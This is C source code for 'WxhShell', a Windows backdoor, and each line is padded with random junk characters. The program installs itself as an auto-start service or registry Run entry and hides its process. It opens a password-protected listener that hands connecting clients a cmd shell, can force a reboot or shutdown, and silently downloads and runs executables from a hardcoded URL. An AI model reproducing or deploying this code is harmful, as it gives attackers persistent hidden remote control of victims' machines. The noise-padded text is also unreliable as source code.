    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y{!`4CxF  
    if(Boot(SHUTDOWN)) y;;^o6Gnw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N]KqSpPh  
    else { l"CHI*  
    closesocket(wsh); z*zLK[t+  
    ExitThread(0); u'yePJTE  
    } _YmY y\g  
    break; V=3NIw18  
    } kYPowM  
  // 获取shell YRW<n9=3  
  case 's': { jM2gu~  
    CmdShell(wsh); ;9,Ll%Lk<  
    closesocket(wsh); ?9mWMf%t  
    ExitThread(0); &y3_>!L  
    break; |I)Ms NF  
  } a9FlzR  
  // 退出 wUh'1D<(r  
  case 'x': { |Ro\2uSr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;6fkG/T  
    CloseIt(wsh); SY>N-fW\H:  
    break; %do|>7MO@  
    } YjvqU /[3  
  // 离开 Vxo3RwmR  
  case 'q': { */O6cF7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B 8C3LP}?  
    closesocket(wsh); {7Dc(gNS  
    WSACleanup(); i T 4H@  
    exit(1); ndF Kw  
    break; IBES$[  
        } ?#J~ X\5  
  } fCx~K'UWn  
  } FRs5 Pb1  
d<`Z{"g NS  
  // 提示信息 {3_M&$jN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \<T6+3p  
} H{p+gj^J  
  } 8QFY:.h&  
P1TL H2)  
  return; V9B $_j4  
} 6l:CDPhR  
\DeZY97p%  
// shell模块句柄 tnRq?  
int CmdShell(SOCKET sock) Z|'tw^0e5  
{ e0v&wSi  
STARTUPINFO si; axXA y5  
ZeroMemory(&si,sizeof(si)); *!C^L"i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .6e5w1r63  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vlEd=H,LT  
PROCESS_INFORMATION ProcessInfo; Vu~mi%UH  
char cmdline[]="cmd"; AL H^tV?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WiPMvl8  
  return 0; <:RU,  
} NFmB ^@k  
]=@>;yP)  
// 自身启动模式 0sV;TQt+f  
int StartFromService(void) rb`C:#j{J  
{ e-UPu%'  
typedef struct zcIZJVYA  
{ r4!zA-{  
  DWORD ExitStatus; ,h8)5Mj/J  
  DWORD PebBaseAddress; o#%2N+w  
  DWORD AffinityMask; 2MtaOG2l&q  
  DWORD BasePriority; 5x=tOR/h  
  ULONG UniqueProcessId; &S''fxGL  
  ULONG InheritedFromUniqueProcessId; Nm#KHA='Z  
}   PROCESS_BASIC_INFORMATION; Bk?MF6  
CFRo>G  
PROCNTQSIP NtQueryInformationProcess; z~z.J ]  
DC[ -<:B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;9B:E"K?@1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }6^(  
B0Xn9Tvk  
  HANDLE             hProcess; )7c^@I;7  
  PROCESS_BASIC_INFORMATION pbi; 6M612   
N-_2d*l3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ymr-kB  
  if(NULL == hInst ) return 0; G78rpp  
&W".fRH_O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TO3Yz3+A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &*/X*!_HK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l#]Z?zW.  
;v8,r#4  
  if (!NtQueryInformationProcess) return 0; BuK82   
Dugr{Y/0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BR"*-$u0;  
  if(!hProcess) return 0; /F/`?=1<$  
If]g6 B.=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a&PoUwG  
Z^h'&c#  
  CloseHandle(hProcess); '3%!Gi!g  
P`V#Wj4\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LLaoND6  
if(hProcess==NULL) return 0; o*5|W9  
0r:8ni%cL  
HMODULE hMod; ]<++w;#+x  
char procName[255]; ph^qQDA  
unsigned long cbNeeded; B-r9\fi,  
r95$B6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W c-P= J*m  
mP3:Fc _G  
  CloseHandle(hProcess); Q:=s99  
u) fbR  
if(strstr(procName,"services")) return 1; // 以服务启动  BX+-KvT  
{PYN3\N,  
  return 0; // 注册表启动 %<I0-o  
} J^0co1Y0  
d-xKm2sH  
// 主模块 {9'"!fH  
int StartWxhshell(LPSTR lpCmdLine) `|v0@-'$  
{ N \A)P  
  SOCKET wsl; 5vg@zH\z  
BOOL val=TRUE; ]7'Q2OU7  
  int port=0; Q$V xm+  
  struct sockaddr_in door; eT:%i"C  
Gh42qar`  
  if(wscfg.ws_autoins) Install(); 1c?,= ;>  
:q^g+Bu=  
port=atoi(lpCmdLine); >{npg2  
NTgk0cq  
if(port<=0) port=wscfg.ws_port; ]!h%Jlu  
3lA<{m;V  
  WSADATA data; k{"~G#GwP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZN G.W0{p  
|Q.?<T:wt=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3vVhE,1N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F N(&3Ull  
  door.sin_family = AF_INET;  ,ulTZV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xo{Ce%L  
  door.sin_port = htons(port); q'q'v S  
*A c~   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nSgg'I(  
closesocket(wsl); Y:*mAv;&  
return 1; 9OXrz}8C  
} shnfH   
OuS{ve  
  if(listen(wsl,2) == INVALID_SOCKET) { IExQ}I  
closesocket(wsl); l|j&w[c[Q0  
return 1; D zl#[|q  
} 7d'4"c;*;  
  Wxhshell(wsl); }6m5MH$7q  
  WSACleanup(); [- vd]ob  
w?<:`  
return 0; +z("'Cv  
P,D >gxl  
} *w> /vu  
BjOrQAO  
// 以NT服务方式启动 83;1L:}`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J>XaQfzwU  
{ U5izOFc  
DWORD   status = 0; _.Uz!2  
  DWORD   specificError = 0xfffffff; n1buE1r?  
R/<  /g=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r/3 !~??x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +apIp(E+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "LXLUa03  
  serviceStatus.dwWin32ExitCode     = 0; My_fm?n  
  serviceStatus.dwServiceSpecificExitCode = 0; hiU_r="*ox  
  serviceStatus.dwCheckPoint       = 0; Ldt7?Y(V(  
  serviceStatus.dwWaitHint       = 0; J6NQ5S\  
>i@gR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k 2;m"F  
  if (hServiceStatusHandle==0) return; A 7DdUNR  
l_^>spF  
status = GetLastError(); Z0`?  
  if (status!=NO_ERROR) S,Zjol%p  
{ {vA;#6B|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~]c^v'k  
    serviceStatus.dwCheckPoint       = 0; .F)--%  
    serviceStatus.dwWaitHint       = 0; ?vf\_R'M  
    serviceStatus.dwWin32ExitCode     = status; LUS7-~:F  
    serviceStatus.dwServiceSpecificExitCode = specificError; 90I)"vfW5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); UY%@i  
    return; a,&Kvh  
  } ~LYKt0/W&  
|(XV '-~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q2gc.]K \  
  serviceStatus.dwCheckPoint       = 0; &~||<0m  
  serviceStatus.dwWaitHint       = 0; >fs-_>1d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v`beql  
} gY*Cl1 Iz  
Ra~n:$tg2  
// 处理NT服务事件,比如:启动、停止 ]2b" oHg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kFD-  
{ YF&SH)Y7  
switch(fdwControl) [ .dNX  
{ fp12-Hk ~  
case SERVICE_CONTROL_STOP: T']*h8  
  serviceStatus.dwWin32ExitCode = 0; NF&\<2kX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2Ni{wg"  
  serviceStatus.dwCheckPoint   = 0; VFA1p)n  
  serviceStatus.dwWaitHint     = 0; s/Q}fW$ex  
  { -uO< ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rhNdXYY>  
  } K=`*cSU>  
  return; b'vJPv~hI  
case SERVICE_CONTROL_PAUSE: Nmi#$K[x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }1;Ie0l=_e  
  break; #)cRD#0  
case SERVICE_CONTROL_CONTINUE: Im6ymaf9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HT1bsY 0t  
  break; yFJ(b%7  
case SERVICE_CONTROL_INTERROGATE: [k."R@?  
  break; o#0NIn"GS/  
}; 5\QNGRu"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -@^SiI:C  
} R+!2 j  
#Kn7 xn[  
// 标准应用程序主函数 bmT  J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mO> [kb"V'  
{ IwWo-WN7.  
/_jApZz  
// 获取操作系统版本 T("Fh}  
OsIsNt=GetOsVer(); NG5H?hVN=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5bZ`YO  
>(%im :_  
  // 从命令行安装 K<+AJ(C  
  if(strpbrk(lpCmdLine,"iI")) Install(); * k =L  
0Vy* 0\{S  
  // 下载执行文件 j#!J hi  
if(wscfg.ws_downexe) { s/ZOA[Yux  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %R&3v%$y*  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZMx_J  
} ?{{E/J:%  
.iew5.eB+  
if(!OsIsNt) { zq1&MXR)l  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;'J L$=  
HideProc(); HJg)c;u/2;  
StartWxhshell(lpCmdLine); Z$WT ~V  
} -t*C-C'"|  
else @}fnR(fS  
  if(StartFromService()) LGod"8~U  
  // 以服务方式启动 #o yvsS8  
  StartServiceCtrlDispatcher(DispatchTable); bdcuO)3  
else 4S"K%2'O  
  // 普通方式启动 2sittP  
  StartWxhshell(lpCmdLine); DO( /,A<{8  
\DGm[/P  
return 0; vv%Di.V  
} deu+ i  
~{d94o.  
\19XDqf8  
nMVThN*I g  
=========================================== DB>>U>H-  
n,Ux>L  
* ?KQ\ Y  
T 6phD8#  
K h% x  
bk^ :6>{K  
" aty K^*aX  
'u696ED4  
#include <stdio.h> +m>Kb edl  
#include <string.h> GD< Afni  
#include <windows.h> $L`7(0U-  
#include <winsock2.h> 4r5,kOFWb  
#include <winsvc.h> z': >nw  
#include <urlmon.h> x!"!oJG^k  
*FG@Dts^&  
#pragma comment (lib, "Ws2_32.lib") _B W$?:)9  
#pragma comment (lib, "urlmon.lib") MX9 q )(:  
* =;=VUu5  
#define MAX_USER   100 // 最大客户端连接数 OpH9sBnA  
#define BUF_SOCK   200 // sock buffer W%1fm/ G0  
#define KEY_BUFF   255 // 输入 buffer d,D)>Y'h  
Wg}#{[4  
#define REBOOT     0   // 重启 cUy6/x9&  
#define SHUTDOWN   1   // 关机 KE5f`h  
u $sX6  
#define DEF_PORT   5000 // 监听端口 03rZz1  
Y1 -cz:  
#define REG_LEN     16   // 注册表键长度 qw_qGgbl  
#define SVC_LEN     80   // NT服务名长度 _n{N3da  
j83p[qR7o  
// 从dll定义API G_AAE#r`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); possM'vC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5'z&kl0"S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N8nyTPw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #Q$4EQB  
{[Yv@CpN  
// wxhshell配置信息 yY&(?6\{<<  
struct WSCFG { T>?sPq  
  int ws_port;         // 监听端口 93'%aSDI%  
  char ws_passstr[REG_LEN]; // 口令 h+*  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q&F@[k  
  char ws_regname[REG_LEN]; // 注册表键名 $6'xRUx X  
  char ws_svcname[REG_LEN]; // 服务名 W tzV|e,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b]Z@zS<8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #lct"8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SH`"o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <&+l;z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y[x ^59  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 crhck'?0  
Zn9w1ev  
}; DF&C7+hO  
01w=;Q  
// default Wxhshell configuration ec]ksw6T+  
struct WSCFG wscfg={DEF_PORT, - z|idy{  
    "xuhuanlingzhe", H=yD}!j  
    1, G&Cl:CtC  
    "Wxhshell", C ]r$   
    "Wxhshell", j?&FK  
            "WxhShell Service", F^ Q  
    "Wrsky Windows CmdShell Service", >ueJ+sgH  
    "Please Input Your Password: ", *#2`b%qh\M  
  1, q_ 5xsTlTR  
  "http://www.wrsky.com/wxhshell.exe", IGB>8$7  
  "Wxhshell.exe" !HB,{+25  
    }; D#k>.)g  
Ws1<Jt3/."  
// 消息定义模块 Jk1U p2#B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -D(Ubk Pw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !w/~dy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2{#quXN9  
char *msg_ws_ext="\n\rExit."; 6DR8(j)=[%  
char *msg_ws_end="\n\rQuit."; !'[sV^ ds  
char *msg_ws_boot="\n\rReboot..."; wCI.jGSBW  
char *msg_ws_poff="\n\rShutdown..."; i_=P!%,  
char *msg_ws_down="\n\rSave to "; FS@SC`~(  
*y0`P0V|8  
char *msg_ws_err="\n\rErr!"; 8a05`ZdP  
char *msg_ws_ok="\n\rOK!"; \<PX'mnO  
@D60  
char ExeFile[MAX_PATH]; 'wQ=b  
int nUser = 0; sJ0y3)PQ  
HANDLE handles[MAX_USER]; # =322bnO  
int OsIsNt; zD?$O7 |ZK  
}7C{:H2d  
SERVICE_STATUS       serviceStatus; zg5 u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s!+?) bB  
lI5{]?'  
// 函数声明 #2WBYScW0  
int Install(void); Vy5Q+gw  
int Uninstall(void); ~w$8*2D  
int DownloadFile(char *sURL, SOCKET wsh); m _]"L  
int Boot(int flag); z5i!GJB  
void HideProc(void); 5w1=j\oq  
int GetOsVer(void); Ri-I+7(n!  
int Wxhshell(SOCKET wsl); o0<T|zgF5,  
void TalkWithClient(void *cs); +"SBt}1  
int CmdShell(SOCKET sock); >T(f  
int StartFromService(void); DD-DY&2R  
int StartWxhshell(LPSTR lpCmdLine); 0dgR;Dl(  
Kt^PL&A2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M!I:$DZt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ->j9(76"  
Lv_6Mf(  
// 数据结构和表定义 8XY4  
SERVICE_TABLE_ENTRY DispatchTable[] = Q% dpGI  
{ RL&*.r&  
{wscfg.ws_svcname, NTServiceMain}, KlrKGmy,)  
{NULL, NULL} N.&K"J  
}; w1GCjD*y  
qrdA?V V  
// 自我安装 o?%x!m>  
int Install(void) xpS#l"dr  
{ .KB*u*h  
  char svExeFile[MAX_PATH]; j$L<9(DoR  
  HKEY key; xw=B4u'z  
  strcpy(svExeFile,ExeFile); A2+t`[ w  
d?S<h`{x   
// 如果是win9x系统,修改注册表设为自启动 7C 4Njei"  
if(!OsIsNt) { Np=*B_ @8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U5"F1CaW~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @lmke>  
  RegCloseKey(key); nTHP~]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )*_YeT&w.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]-AT(L >  
  RegCloseKey(key); Z6 aT%7}}  
  return 0; 3'']q3H  
    } l'o}4am  
  } P/ y-K0u  
} ^X_%e|  
else { W&*{j;e9%I  
t4JGd)r  
// 如果是NT以上系统,安装为系统服务 J,q:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $>BP}V33  
if (schSCManager!=0) qt1# P  
{ qM9GW`CKA  
  SC_HANDLE schService = CreateService f/ =0  
  ( ec3('}X  
  schSCManager, ):\ pD]e  
  wscfg.ws_svcname, [XQNgSy?z  
  wscfg.ws_svcdisp, Z>D7C?v:(  
  SERVICE_ALL_ACCESS, bh_ALu^CSX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .Ftml'!  
  SERVICE_AUTO_START, A] F K\  
  SERVICE_ERROR_NORMAL, 2dq{n.cgs  
  svExeFile, d+IPa<N  
  NULL, l s_i)X  
  NULL, od|pI5St  
  NULL, 5fLCmLM`  
  NULL, fe Q%L  
  NULL cKxJeM07  
  ); -,i1T(p1  
  if (schService!=0) M.128J+xfS  
  { -S|L+">=Z  
  CloseServiceHandle(schService); ,{oANqP  
  CloseServiceHandle(schSCManager); `#(4K4]1.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l,/5$JGnk  
  strcat(svExeFile,wscfg.ws_svcname); $@U`zy"Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tl4;2m3w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SMhT>dB  
  RegCloseKey(key); nBD7  
  return 0; 2?"9NQvz  
    } G?"1 z;  
  } t4<#k=  
  CloseServiceHandle(schSCManager); 59ivL6=3  
} BPPhVE  
} 7;_5 [_  
Y Jv{Z^;M  
return 1; I%(+tJ  
} 3oIoQj+D  
B02~/9*Y"  
// 自我卸载 )V>FU=  
int Uninstall(void) r|#4+'  
{ \UE9Ff+{  
  HKEY key; Cr[#D$::`  
s9'iHe  
if(!OsIsNt) { /|\`NARI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =]^* -f}J9  
  RegDeleteValue(key,wscfg.ws_regname); svQDSif  
  RegCloseKey(key); "Fke(?X'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {66vdAu&h<  
  RegDeleteValue(key,wscfg.ws_regname); HN3 yA1<[V  
  RegCloseKey(key); JRNyvG>j  
  return 0; 0\mM^+fO  
  } <iMkHch  
} {<_}[} XY  
} I{2e0  
else { zJV4)  
~<$8i}7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G)putk@   
if (schSCManager!=0) r&H>JCRZ<=  
{ QvqBT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~+d]yeDrhx  
  if (schService!=0) N@)g3mX>  
  { dk.da&P  
  if(DeleteService(schService)!=0) { G +YF  
  CloseServiceHandle(schService); J LeV@NO  
  CloseServiceHandle(schSCManager); G%6wk=IH  
  return 0; +FJ o!~1  
  } a;lCr|*  
  CloseServiceHandle(schService); `=\G>#p<T  
  } ( {8Q=Gh  
  CloseServiceHandle(schSCManager); 9~4Kbmr>q  
} lE`ScYG  
} &,#VhT![  
P "%/  
return 1; [oYe/<3  
} \myj Y  
N-NwGD{  
// 从指定url下载文件 )HU?7n.{  
int DownloadFile(char *sURL, SOCKET wsh) ~\Ynih  
{ &B3kzs  
  HRESULT hr; .f6_[cS;g  
char seps[]= "/"; SGbo|Xe7:  
char *token; 3Fr}8Dy  
char *file; PffwNj/l  
char myURL[MAX_PATH]; K'71uW>  
char myFILE[MAX_PATH]; L@+j8[3BX  
^L[Z+7|  
strcpy(myURL,sURL); jQ[Z*^"}  
  token=strtok(myURL,seps); 7kb`o y;(^  
  while(token!=NULL) 5Ut0I]h|z  
  { BkC(9[Ei  
    file=token; ``O\'{o&  
  token=strtok(NULL,seps); 3 $RII -}>  
  } 5= F-^  
u}$U|Cw-;T  
GetCurrentDirectory(MAX_PATH,myFILE); p;B +g X  
strcat(myFILE, "\\"); jLEU V  
strcat(myFILE, file); =N3~2=g~A  
  send(wsh,myFILE,strlen(myFILE),0); Mr&]RTEE  
send(wsh,"...",3,0); gNO$WY^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :bh[6 F  
  if(hr==S_OK) FTB"C[>  
return 0; lF#Kg !-l  
else 0m@S+$v  
return 1; !X,S2-}"  
.a^/r'?  
} A8A+ImwO"  
uIba{9tM"P  
// 系统电源模块 RJ-CWt [LG  
int Boot(int flag) *}0Q S@FN  
{ me9RnPe:  
  HANDLE hToken; )WzCUYE1/  
  TOKEN_PRIVILEGES tkp; qVY\5`f@  
w68qyG|wM  
  if(OsIsNt) { Tq?W @DM*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q`\lvdl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8cd,SQ}y  
    tkp.PrivilegeCount = 1; BpK P]V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k'\RS6M`L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kC#;j=K?  
if(flag==REBOOT) { v<-D>iJ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |UBJu `%  
  return 0; ROfmAc  
} .Kv@p jOr  
else { O}%=c\Pb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <Q8bn?Z  
  return 0; _}\&;  
} : Z.mM5  
  } aRV!0?fS  
  else { |g9^]bT  
if(flag==REBOOT) { ]:f1r8<3p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z@*Z@]FC  
  return 0; "q%)we  
} SnXLjJe  
else { :_^YEm+A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9 V;m;sz  
  return 0; ,iHt*SZ,*  
} g>Z1ZK0;M  
} <6`,)(dj  
?@u &3/&  
return 1; !]`]67lC  
} 6 tzn% ?  
O8lOr(|l  
// win9x进程隐藏模块 SrKF\h%/+  
void HideProc(void) QoW3*1o  
{ H1@"Yg8  
FJD*A`a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,CdI.kV>o2  
  if ( hKernel != NULL ) zZy>XHR H  
  { M\]E;C'"U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DnTM#i:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [C&c;YNp  
    FreeLibrary(hKernel); I/(`<s p  
  } 81KtK[?b  
~7k b4[  
return; 1|%$ie  
} 7,jqA"9  
7Jqp2\  
// 获取操作系统版本 $~j]/U  
int GetOsVer(void) [IYs4Y5  
{ HsXFglQ  
  OSVERSIONINFO winfo; n2QD*3i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >SzTZ3!E  
  GetVersionEx(&winfo); '.bMkty#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F%Xq}LMd  
  return 1; (O&b:D/Y  
  else ;uJVY)7a  
  return 0; \GkcK$Y  
} 6D+9f{~r  
t2E_y6  
// 客户端句柄模块 c]O4l2nCL  
int Wxhshell(SOCKET wsl) Rbl(oj#  
{ < /}[x2w?]  
  SOCKET wsh; .h6h&[TEU  
  struct sockaddr_in client; %AJdtJ@0H  
  DWORD myID; ) HmpVH  
}skXh_Vu4  
  while(nUser<MAX_USER) leiza?[  
{ {4Isz-P  
  int nSize=sizeof(client); SQHV gj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g"!B |  
  if(wsh==INVALID_SOCKET) return 1;  t9=rr>8)  
|?0C9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;m\(fW*ii  
if(handles[nUser]==0) QOOBCNe  
  closesocket(wsh); 9:m+mpL=9  
else 6tJM*{$$H  
  nUser++; |_A35"v  
  } 1wq 6E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -}>Q0d)  
Z2ZS5a  
  return 0; c2i^dNp_  
} QTDI^ZeuF  
@Wv*`  
// 关闭 socket 'E@D  
void CloseIt(SOCKET wsh) AvwX 2?tc  
{ T|=8 jt,  
closesocket(wsh); }b{N[  
nUser--; 1\3n   
ExitThread(0); 7+z%O3k'I  
} +F@9AO>LF  
$DQMN  
// 客户端请求句柄  g6~uf4;  
void TalkWithClient(void *cs) h;Bol  
{ :xA'X+d/'  
SAqX[c  
  SOCKET wsh=(SOCKET)cs; 6dNo!$C^  
  char pwd[SVC_LEN]; ;+5eE`]a/L  
  char cmd[KEY_BUFF]; 7[K$os5al  
char chr[1]; %8v?dB;>x`  
int i,j; ,,6e }o6  
/1^%32c  
  while (nUser < MAX_USER) { [k.<x'#  
v3[ 2!UXq  
if(wscfg.ws_passstr) { 7N:,F9V<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #-{4 Jx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h  qxe  
  //ZeroMemory(pwd,KEY_BUFF); D,R/abYZH  
      i=0; >Rr]e`3wG  
  while(i<SVC_LEN) { LsLsSV  
jKtbGVZ 7r  
  // 设置超时 ^y?? pp<1J  
  fd_set FdRead; 5ecqJ  
  struct timeval TimeOut; uh GL1{  
  FD_ZERO(&FdRead); k muF*0Bjk  
  FD_SET(wsh,&FdRead); T+gqu &9R  
  TimeOut.tv_sec=8; *%MY. #  
  TimeOut.tv_usec=0; GB{%4)%6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _|#)tWy}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bt.WRRpAB  
$V@IRBm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DQE.;0ld  
  pwd=chr[0]; -m-~  
  if(chr[0]==0xd || chr[0]==0xa) { {5RM)J1  
  pwd=0; -f'z _&KI  
  break; H_jMl$f)j  
  } 9iGJYMWf  
  i++; <8'}H`w%  
    } l.&6|   
0uj3kr?cv  
  // 如果是非法用户,关闭 socket k<AnTboa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /Jo*O=Lpo  
} f):|Ad|  
O* 7" Q&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -()CgtSR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AJj6@hi2P  
p! Hpq W  
while(1) { tQ*5[F,fm  
QupCr/Hs  
  ZeroMemory(cmd,KEY_BUFF); zEa3a  
p-;*K(#X  
      // 自动支持客户端 telnet标准   O>}aK.H  
  j=0; QV"  |  
  while(j<KEY_BUFF) { tNq~M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k3u3X~u  
  cmd[j]=chr[0]; /9i2@#J}W1  
  if(chr[0]==0xa || chr[0]==0xd) { 38rC; 6  
  cmd[j]=0; ?*Jv&f#  
  break; &,bJ]J)8O  
  } !x&/M*nBE  
  j++; [X;yJ$  
    } cE[4CCpy  
X62GEqff  
  // 下载文件 g }5lGz4  
  if(strstr(cmd,"http://")) { T,5]EHea  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N5o jXX!l%  
  if(DownloadFile(cmd,wsh)) 0<fN<iR`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); meE&, {  
  else 3!#d&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L%Me wU0TZ  
  } IL&Mf9m  
  else { *ewE{$UpK  
yX/ 9jk  
    switch(cmd[0]) { m{;2!  
